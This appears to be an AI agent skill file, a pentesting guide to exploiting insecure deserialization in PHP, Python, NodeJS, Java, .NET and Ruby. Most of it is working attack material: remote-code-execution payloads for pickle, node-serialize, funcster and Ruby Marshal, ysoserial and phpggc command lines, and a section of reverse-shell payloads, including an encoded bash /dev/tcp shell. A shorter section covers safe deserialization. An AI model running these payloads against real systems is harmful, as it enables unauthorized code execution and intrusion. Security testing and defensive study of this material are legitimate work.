| name | deserialization-pentest |
| description | How to identify and exploit insecure deserialization vulnerabilities across PHP, Python, NodeJS, Java, .NET, and Ruby. Use this skill whenever the user mentions deserialization, serialization, object injection, gadget chains, ysoserial, pickle, unserialize, ObjectInputStream, BinaryFormatter, Marshal, or any related vulnerability testing. Make sure to use this skill for any web application security testing involving serialized data, ViewState parameters, cookies with serialized objects, or when analyzing code for deserialization sinks. |
Deserialization Pentesting
A comprehensive guide for identifying and exploiting insecure deserialization vulnerabilities across multiple platforms.
Quick Reference
| Platform | Key Indicators | Primary Tool |
|---|
| PHP | unserialize(), __wakeup, __destruct | PHPGGC |
| Python | pickle.loads(), __reduce__ | Custom payloads |
| NodeJS | node-serialize, funcster, serialize-javascript | Manual crafting |
| Java | AC ED 00 05, rO0, ObjectInputStream | ysoserial |
| .NET | AAEAAAD, BinaryFormatter, SoapFormatter | ysoserial.net |
| Ruby | Marshal.load, Gem:: classes | Custom payloads |
Detection Methods
White Box Testing
Search for these patterns in source code:
PHP:
unserialize() without allowed_classes parameter
- Magic methods:
__wakeup, __destruct, __unserialize, __sleep
file_get_contents() with phar:// wrapper
Python:
pickle.loads(), pickle.load()
yaml.load() with Loader=yaml.FullLoader or UnsafeLoader
jsonpickle.decode()
__reduce__ or __reduce_ex__ methods
NodeJS:
node-serialize.unserialize()
funcster.deepDeserialize()
serialize-javascript with eval() deserialization
__proto__ or prototype pollution patterns
Java:
ObjectInputStream.readObject()
XStream.fromXML() (versions ≤ 1.46)
XMLDecoder with user input
- Classes implementing
Serializable
readObject(), readResolve(), readExternal() methods
.NET:
BinaryFormatter.Deserialize()
SoapFormatter.Deserialize()
JsonConvert.DeserializeObject() with TypeNameHandling.Auto
JavaScriptSerializer with JavaScriptTypeResolver
__ViewState parameters
Ruby:
Marshal.load() or Marshal.restore()
Oj.load(), Psych.load(), JSON.parse() with custom json_create
.send() method with user-controlled input
Black Box Testing
Java Signatures:
- Hex:
AC ED 00 05
- Base64:
rO0
- Compressed hex:
1F 8B 08 00
- Compressed Base64:
H4sIA
- Content-Type:
application/x-java-serialized-object
.faces files with javax.faces.ViewState parameter
.NET Signatures:
- Base64:
AAEAAAD//////
- JSON/XML with
$type or TypeObject fields
General Indicators:
- Long Base64 strings in cookies, parameters, or headers
- ViewState parameters in ASP.NET applications
- Serialized objects in API responses
- Custom binary protocols
Exploitation by Platform
PHP Deserialization
Magic Methods to Abuse
| Method | When Called | Use Case |
|---|
__wakeup | After deserialization | RCE via file operations, command execution |
__destruct | Object destruction | Cleanup-based exploitation |
__unserialize | Instead of __wakeup | Full control over deserialization |
__toString | String conversion | File reads, information disclosure |
__sleep | Before serialization | Property manipulation |
PHPGGC Usage
phpggc <gadget> <parameter> > payload.txt
phpggc PHPMailer phpinfo > payload.txt
phpggc Laravel8 'system("id")' > payload.txt
Common Gadget Chains
- PHPMailer: Email-based RCE
- Laravel: Queue and closure exploitation
- Symfony: Expression language RCE
- Monolog: File write and RCE
- Doctrine: Query-based exploitation
Phar Deserialization
When LFI exists but doesn't execute PHP:
php -r '
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->stopBuffering();
'
file_get_contents("phar://evil.phar");
Python Deserialization
Pickle Exploitation
import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ("your_command_here",))
payload = pickle.dumps(RCE())
print(payload)
import base64
print(base64.b64encode(payload).decode())
YAML Deserialization
import yaml
data = yaml.load(user_input, Loader=yaml.FullLoader)
payload = "!!python/object/apply:os.system ["command"]"
jsonpickle Exploitation
import jsonpickle
data = jsonpickle.decode(user_input)
payload = jsonpickle.encode(
{"py/object": "os.system", "py/args": ["command"]}
)
NodeJS Deserialization
node-serialize Exploitation
var serialize = require("node-serialize");
var data = serialize.unserialize(userInput);
var payload = {
"rce": "_$$ND_FUNC$$_require('child_process').exec('command')()"
};
funcster Exploitation
var funcster = require("funcster");
var data = funcster.deepDeserialize(userInput);
var payload = {
"__js_function": "this.constructor.constructor('require(\"child_process\").exec(\"command\")')()"
};
serialize-javascript Exploitation
function deserialize(serialized) {
return eval("(" + serialized + ")");
}
var payload = "function(){ require('child_process').exec('command'); }()";
React Server Components (CVE-2025-55182)
curl -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#export","bound":["arg1","arg2"]}'
Java Deserialization
ysoserial Usage
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
java -jar ysoserial.jar URLDNS http://your-collaborator.burpcollaborator.net > payload
java -jar ysoserial.jar CommonsCollections5 "command" > payload
java -jar ysoserial.jar CommonsCollections4 "command" > payload
java -jar ysoserial.jar Jdk7u21 "command" > payload
base64 -w0 payload
Common Gadget Chains
| Gadget | Library | Risk Level |
|---|
| CommonsCollections1-7 | Apache Commons Collections | High |
| Jdk7u21 | JDK 7u21+ | Medium |
| URLDNS | None (DNS only) | Low (detection) |
| Spring1-2 | Spring Framework | High |
| Hibernate1-2 | Hibernate | High |
| Myfaces1-2 | Apache MyFaces | High |
marshalsec for JSON/XML
mvn clean package -DskipTests
java -cp marshalsec.jar marshalsec.json.JsonGenerator <gadget> "command"
java -cp marshalsec.jar marshalsec.yaml.YamlGenerator <gadget> "command"
Detection Tools
- GadgetProbe: Identify available libraries via DNS callbacks
- Java Deserialization Scanner: Burp extension for automated testing
- Freddy: Detect JSON/YAML/ObjectInputStream vulnerabilities
- SerializationDumper: Human-readable serialization inspection
.NET Deserialization
ysoserial.net Usage
# Compile ysoserial.net
# Then use:
# Generate payload
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "command" -o base64
# Test payload locally
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "command" --test
# List available gadgets for formatter
ysoserial.exe --raf -f Json.Net -c "test"
# Reverse shell example
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -Enc <base64>"
Common Formatters
| Formatter | Library | Exploitable |
|---|
| Json.Net | Newtonsoft.Json | Yes (with TypeNameHandling) |
| BinaryFormatter | System.Runtime.Serialization | Yes |
| SoapFormatter | System.Runtime.Serialization | Yes |
| DataContractSerializer | System.Runtime.Serialization | Limited |
ViewState Exploitation
# With known validation key
ysoserial.exe -g ObjectDataProvider -f ViewState -c "command" -k <validation_key>
# With known secret
ysoserial.exe -g ObjectDataProvider -f ViewState -c "command" -s <secret>
Ruby Deserialization
Marshal Exploitation
require 'base64'
class RCE
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
payload = Marshal.dump(RCE.new("id"))
puts Base64.encode64(payload)
Gem Gadget Chains
class Gem::StubSpecification
def initialize; end
end
stub = Gem::StubSpecification.new
stub.instance_variable_set(:@loaded_from, "|command 1>&2")
other = Gem::Source::SpecificFile.new
stub <=> other
Oj/Psych Exploitation
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"\$(id>/tmp/poc)\"",
"root_dir": "/tmp"
}
}
}
Prevention and Mitigation
PHP
$object = unserialize($data, ['allowed_classes' => false]);
$object = unserialize($data, ['allowed_classes' => ['SafeClass']]);
$data = json_decode($json_string);
Python
import yaml
data = yaml.safe_load(user_input)
data = json.loads(user_input)
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
allowed = ['mymodule.MyClass']
if f"{module}.{name}" not in allowed:
raise pickle.UnpicklingError(f"Forbidden: {module}.{name}")
return super().find_class(module, name)
Java
ObjectInputFilter filter = info -> {
if (!allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED;
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
public class SafeObjectInputStream extends ObjectInputStream {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if (!desc.getName().equals("com.example.SafeClass")) {
throw new InvalidClassException("Unauthorized");
}
return super.resolveClass(desc);
}
}
.NET
var settings = new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.None
};
var data = JsonConvert.DeserializeObject(json, settings);
public class SafeSerializationBinder : SerializationBinder {
public override Type BindToType(string assemblyName, string typeName) {
if (typeName != "MyApp.SafeClass") {
throw new SecurityException("Unauthorized type");
}
return Type.GetType(typeName);
}
}
Ruby
data = JSON.parse(user_input)
require 'safe_marshal'
data = SafeMarshal.load(user_input, allowed_classes: [SafeClass])
if user_input.start_with?("\x04\x08")
end
Testing Workflow
- Identify serialized data in requests/responses
- Determine the platform and serialization format
- Test with DNS callback payloads (URLDNS, etc.)
- Enumerate available libraries/gadgets
- Craft RCE payload based on available gadgets
- Verify exploitation with file creation or reverse shell
- Document findings and remediation steps
Common Payloads
DNS Callbacks (Safe Testing)
java -jar ysoserial.jar URLDNS http://your-collaborator.net
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup your-collaborator.net"
var payload = {"rce": "_\$\$ND_FUNC\$\$_require('child_process').exec('nslookup your-collaborator.net')()"}
Reverse Shells
java -jar ysoserial.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}"
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "powershell -Enc <base64_encoded_ps>"
phpggc Laravel8 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'
References